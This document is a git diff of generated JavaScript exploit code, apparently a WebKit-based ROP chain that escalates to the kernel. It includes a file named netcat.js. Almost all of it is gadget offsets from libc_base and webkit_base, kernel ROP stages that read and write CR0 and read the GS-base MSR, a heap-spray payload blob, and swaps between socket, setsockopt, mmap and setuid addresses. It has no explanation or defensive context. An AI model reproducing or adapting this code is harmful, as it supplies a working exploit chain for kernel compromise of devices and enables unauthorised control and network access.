+libc_base+788575, //pop rax +libc_base+785193, //xor rax, rax +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+11, //nop +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+11, //nop +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+793877, //pop rsi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+7438103, //mov [rsi], rax +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+792472, //pop rcx +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+206806, //pop rdi +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+432898, //pop r8 +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+811575, //pop rsp +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([216, 0]); // 0xd8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967072, 4294967295]); // -0xe0 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+50775, //mov rax, rdi +libc_base+792472 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5202439, //and rax, rcx +libc_base+793877 //pop rsi +]); +db([4294967216, 4294967295]); // -0x50 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+547950, //mov rcx, [rdi + 0x18] ; lea rax, [rax + rcx - 1] +libc_base+877175, //sub rax, rcx ; sbb rdx, rcx +libc_base+793877 //pop rsi +]); +db([1, 0]); // 0x1 +set_gadgets([ +libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx +libc_base+793877 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+50775, //mov rax, rdi +libc_base+793877 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+759626, //mov rax, r8 +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+50775, //mov rax, rdi +libc_base+793877 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+393568, //L7634 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L7791: +//L7634: db([0, 0]); // 0x0 -//L5892: +//L7317: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -55801,7 +55753,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -socket_addr, +mmap_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -55841,13 +55793,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+393984, //L7792 +ropchain+394896, //L7635 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L7792: +//L7635: db([0, 0]); // 0x0 -//L5822: +//L7249: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -56023,7 +55975,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -setuid_addr, +setsockopt_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -56063,13 +56015,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+395312, //L7793 +ropchain+396224, //L7636 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L7793: +//L7636: db([0, 0]); // 0x0 -//L7542: +//L5649: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -56245,7 +56197,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -mmap_addr, +socket_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -56285,287 +56237,59 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+396640, //L7794 -webkit_base+7438103, //mov [rsi], rax -libc_base+811575 //pop rsp -]); -//L7794: -db([0, 0]); // 0x0 -//L7750: -set_gadget(libc_base+793877,); //pop rsi -db([208, 0]); // 0xd0 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -libc_base+206806, //pop rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967280, 4294967295]); // -0x10 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -libc_base+793877, //pop rsi -libc_base+471355, //mov [rdi], rax -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -webkit_base+105267, //pop rdx -libc_base+471355, //mov [rdi], rax -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -libc_base+792472, //pop rcx -libc_base+471355, //mov [rdi], rax -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -webkit_base+432898, //pop r8 -libc_base+471355, //mov [rdi], rax -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -webkit_base+10235455, //pop r9 -libc_base+471355, //mov [rdi], rax -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -libc_base+785193, //xor rax, rax -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -libc_base+11, //nop -libc_base+471355, //mov [rdi], rax -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -libc_base+11, //nop -libc_base+471355, //mov [rdi], rax -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -libc_base+793877, //pop rsi -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967280, 4294967295]); // -0x10 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -webkit_base+7438103, //mov [rsi], rax -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -libc_base+792472, //pop rcx -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967280, 4294967295]); // -0x10 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -libc_base+206806, //pop rdi -libc_base+471355, //mov [rdi], rax -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -webkit_base+432898, //pop r8 -libc_base+471355, //mov [rdi], rax -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -libc_base+811575, //pop rsp -libc_base+471355, //mov [rdi], rax -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([8, 0]); // 0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967272, 4294967295]); // -0x18 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([216, 0]); // 0xd8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967072, 4294967295]); // -0xe0 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([208, 0]); // 0xd0 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967080, 4294967295]); // -0xd8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([200, 0]); // 0xc8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967088, 4294967295]); // -0xd0 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([192, 0]); // 0xc0 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967096, 4294967295]); // -0xc8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([184, 0]); // 0xb8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967104, 4294967295]); // -0xc0 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([176, 0]); // 0xb0 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967272, 4294967295]); // -0x18 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+50775, //mov rax, rdi -libc_base+792472 //pop rcx -]); -db([4294967280, 4294967295]); // -0x10 -set_gadgets([ -webkit_base+5202439, //and rax, rcx -libc_base+793877 //pop rsi -]); -db([4294967216, 4294967295]); // -0x50 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+547950, //mov rcx, [rdi + 0x18] ; lea rax, [rax + rcx - 1] -libc_base+877175, //sub rax, rcx ; sbb rdx, rcx -libc_base+793877 //pop rsi -]); -db([1, 0]); // 0x1 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+793877 //pop rsi -]); -db([4294967272, 4294967295]); // -0x18 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+50775, //mov rax, rdi -libc_base+793877 //pop rsi -]); -db([48, 0]); // 0x30 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967280, 4294967295]); // -0x10 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+759626, //mov rax, r8 -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([32, 0]); // 0x20 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+50775, //mov rax, rdi -libc_base+793877 //pop rsi -]); -db([24, 0]); // 0x18 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([128, 0]); // 0x80 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+398016, //L7795 +ropchain+397552, //L7637 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L7795: +//L7637: db([0, 0]); // 0x0 -//L3526: +//L2090: +db([312, 0]); +//L3509: db([0, 0, 100000, 0, 0, 0]); -//L3982: +//L3948: db([0, 0, 100000, 0, 0, 0]); -//L4011: +//L3977: db([979788149, 174335264, 0, 0]); +//L4313: +ropchain_offset += 64; //_enter_krop: ropchain_offset += 2; -//L5949: +//L5522: +db([0, 0, 100000, 0, 0, 0]); +//L5706: db([1952737651, 807419168, 2020091256, 628633632, 175664236, 0]); -//L6245: -db([1801678707, 1030976613, 1797284901, 1969583473, 624784229, 2660]); -//L6321: -db([543580533, 169962351, 0, 0]); -//L6495: +//L5985: +db([1801678707, 1030976613, 25637, 0]); +//L6240: db([1919252079, 1601200492, 544760937, 1680154685, 10, 0]); -//L6683: +//L6441: db([1919252079, 1601200492, 544760937, 1680154685, 10, 0]); -//L6838: +//L6610: db([1601463655, 1769237360, 678389358, 540876841, 680997, 0]); -//L6842: +//L6614: db([544498793, 1868981602, 1663067506, 1970434671, 1869182064, 2112110]); -//L6944: +//L6716: db([2016555045, 32]); -//L6968: +//L6740: db([10, 0]); -//L7328: +//L7100: db([544498793, 1702127201, 1868767346, 1886745202, 1852795252, 2105402]); -//L7430: +//L7202: db([2016555045, 32]); -//L7454: +//L7226: db([10, 0]); -//L7478: +//L7250: db([1601463667, 1769237360, 678389358, 540876841, 680997, 0]); -//L7554: +//L7329: db([1634889843, 1634557817, 540876912, 1814394928, 686188, 0]); //enter_krop: set_gadgets([ libc_base+788575, //pop rax -ropchain+398416, //krop_preserve_rdi +ropchain+398216, //krop_preserve_rdi webkit_base+14461559, //mov [rax], rdi libc_base+206806, //pop rdi -ropchain+398440, //entry1 - 0x38 +ropchain+398240, //entry1 - 0x38 webkit_base + 0x36f8ef, //krop_exit: libc_base+206806 //pop rdi @@ -56575,7 +56299,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+398488, //krop_ret +ropchain+398288, //krop_ret webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); @@ -56587,13 +56311,13 @@ libc_base+811575 //pop rsp //krop_ret: db([0, 0]); // 0x0 //entry1: -set_gadget(ropchain+398504,); //krop +set_gadget(ropchain+398304,); //krop //krop: //_krop_idt_base: db([0, 0]); // 0x0 set_gadgets([ libc_base+788575, //pop rax -ropchain+398760, //krop2 +ropchain+398560, //krop2 webkit_base+14461559, //mov [rax], rdi libc_base+793877 //pop rsi ]); @@ -56602,7 +56326,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+398800, //udbak1 +ropchain+398600, //udbak1 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -56617,7 +56341,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+398848, //udbak2 +ropchain+398648, //udbak2 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -56626,7 +56350,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+206806, //pop rdi -ropchain+398696 //entry2-0x38 +ropchain+398496 //entry2-0x38 ]); //_krop_read_cr0: db([0, 0]); // 0x0 @@ -56636,7 +56360,7 @@ set_gadget(webkit_base+5202439,); //and rax, rcx //_krop_write_cr0: db([0, 0]); // 0x0 //entry2: -set_gadget(ropchain+398760,); //krop2 +set_gadget(ropchain+398560,); //krop2 //krop2: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi @@ -56688,7 +56412,7 @@ libc_base+206806 //pop rdi db([0, 0]); // 0x0 set_gadgets([ libc_base+788575, //pop rax -ropchain+399264, //kbase1 +ropchain+399064, //kbase1 webkit_base+14461559, //mov [rax], rdi libc_base+788575 //pop rax ]); @@ -56696,7 +56420,7 @@ db([12792335, 0]); // 0xc3320f set_gadgets([ libc_base+207901, //mov [rdi], eax libc_base+788575, //pop rax -ropchain+399064, //rdmsr +ropchain+398864, //rdmsr webkit_base+14461559, //mov [rax], rdi libc_base+792472 //pop rcx ]); @@ -56705,11 +56429,11 @@ db([3221225730, 0]); // 0xc0000102 db([0, 0]); // 0x0 set_gadgets([ libc_base+206806, //pop rdi -ropchain+399136, //gsbase +ropchain+398936, //gsbase libc_base+207901, //mov [rdi], eax libc_base+846253, //mov eax, edx libc_base+206806, //pop rdi -ropchain+399140, //gsbase+4 +ropchain+398940, //gsbase+4 libc_base+207901, //mov [rdi], eax libc_base+788575 //pop rax ]); @@ -56810,7 +56534,27 @@ set_gadgets([ libc_base+207900, //mov [rdi], ax libc_base+793877 //pop rsi ]); -db([4283557566, 4294967295]); // -0xae1942 +db([4603764, 0]); // 0x463f74 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575 //pop rax +]); +db([116713, 0]); // 0x1c7e9 +set_gadgets([ +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4292601482, 4294967295]); // -0x241976 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575 //pop rax +]); +db([12828721, 0]); // 0xc3c031 +set_gadgets([ +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4281319616, 4294967295]); // -0xd03f40 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575 //pop rax @@ -56847,7 +56591,7 @@ libc_base+11 //nop ]); db([67, 0]); // 0x43 db([514, 0]); // 0x202 -set_gadget(ropchain+398408,); //krop_exit +set_gadget(ropchain+398208,); //krop_exit db([59, 0]); // 0x3b set_gadget(libc_base+792472,); //pop rcx db([0, 0]); // 0x0 @@ -56856,7 +56600,7 @@ db([514, 0]); // 0x202 //_krop_jmp_crash: db([0, 0]); // 0x0 //_enter_krop: -set_gadget(ropchain+398360,); //enter_krop +set_gadget(ropchain+398160,); //enter_krop //_spray_bin: db([2303219542, 1032669414, 10, 3000, 1594167040, 2336801630, 922683510, 1208514303, 67158471, 1213267968, 136594571, 63679, 2962049024, 22286000, 698, 2684700672, 4278190295, 3739376080, 2236112479, 1697019126, 621054792, 0, 138447688, 1212189512, 1209043784, 33604039, 1219297280, 12715207, 3791650816, 3284152821]); //_spray_end: diff --git a/netcat.js b/netcat.js index 75afea8..86e8e4a 100644 --- a/netcat.js +++ b/netcat.js @@ -1,4 +1,4 @@ -var ropchain_array = new Uint32Array(55506); +var ropchain_array = new Uint32Array(55668); var ropchain = read_ptr_at(addrof(ropchain_array)+0x10); var ropchain_offset = 2; function set_gadget(val) @@ -35,7 +35,7 @@ libc_base+788575, //pop rax ropchain+112, //ret_addr libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+190280, //_main +ropchain+189880, //_main //ret_addr: libc_base+811575, //pop rsp ropchain+65680 //stack_bottom @@ -79,7 +79,7 @@ set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+65896, //L3 +ropchain+65896, //L2 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi @@ -88,7 +88,7 @@ webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi webkit_base+432898 //pop r8 ]); -//L3: +//L2: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi //L4: @@ -103,7 +103,7 @@ ropchain+66016, //L6 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+66032, //L7 +ropchain+66032, //L8 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -111,43 +111,43 @@ libc_base+206806 //pop rdi //L6: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7: +//L8: db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi ropchain+66192, //L12 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+66160, //L9 -webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+66144, //L10 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+66176, //L11 +webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L10: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L9: -db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L11: +//L9: db([16, 0]); // 0x10 +set_gadget(libc_base+206806,); //pop rdi +//L11: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L12: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+66248, //L13 +ropchain+66248, //L14 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L13: +//L14: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -176,24 +176,24 @@ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi ropchain+66544, //L21 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+66512, //L18 +ropchain+66496, //L19 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+66496, //L20 +ropchain+66528, //L20 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L20: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L18: +//L19: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L19: +//L18: db([48, 0]); // 0x30 +set_gadget(libc_base+206806,); //pop rdi +//L20: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L21: db([0, 0]); // 0x0 @@ -219,11 +219,11 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); //L24: db([8, 0]); // 0x8 -set_gadget(libc_base+788575,); //pop rax +set_gadget(libc_base+792472,); //pop rcx //L25: db([8, 0]); // 0x8 set_gadgets([ @@ -239,14 +239,14 @@ ropchain+66856, //L28 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+66824, //L27 +ropchain+66824, //L26 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L27: +//L26: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L26: +//L27: db([48, 0]); // 0x30 set_gadget(libc_base+788575,); //pop rax //L28: @@ -274,16 +274,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+67040, //L31 +ropchain+67056, //L33 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L31: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L32: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L33: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -291,7 +291,7 @@ ropchain+67144, //L34 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+67160, //L35 +ropchain+67160, //L36 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -299,43 +299,43 @@ libc_base+206806 //pop rdi //L34: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L35: +//L36: db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi ropchain+67320, //L40 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+67288, //L37 -webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+67272, //L38 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+67304, //L39 +webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L38: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L37: -db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L39: +//L37: db([16, 0]); // 0x10 +set_gadget(libc_base+206806,); //pop rdi +//L39: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L40: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+67376, //L41 +ropchain+67376, //L42 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L41: +//L42: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -364,24 +364,24 @@ webkit_base+6227286, //movsxd rax, edi 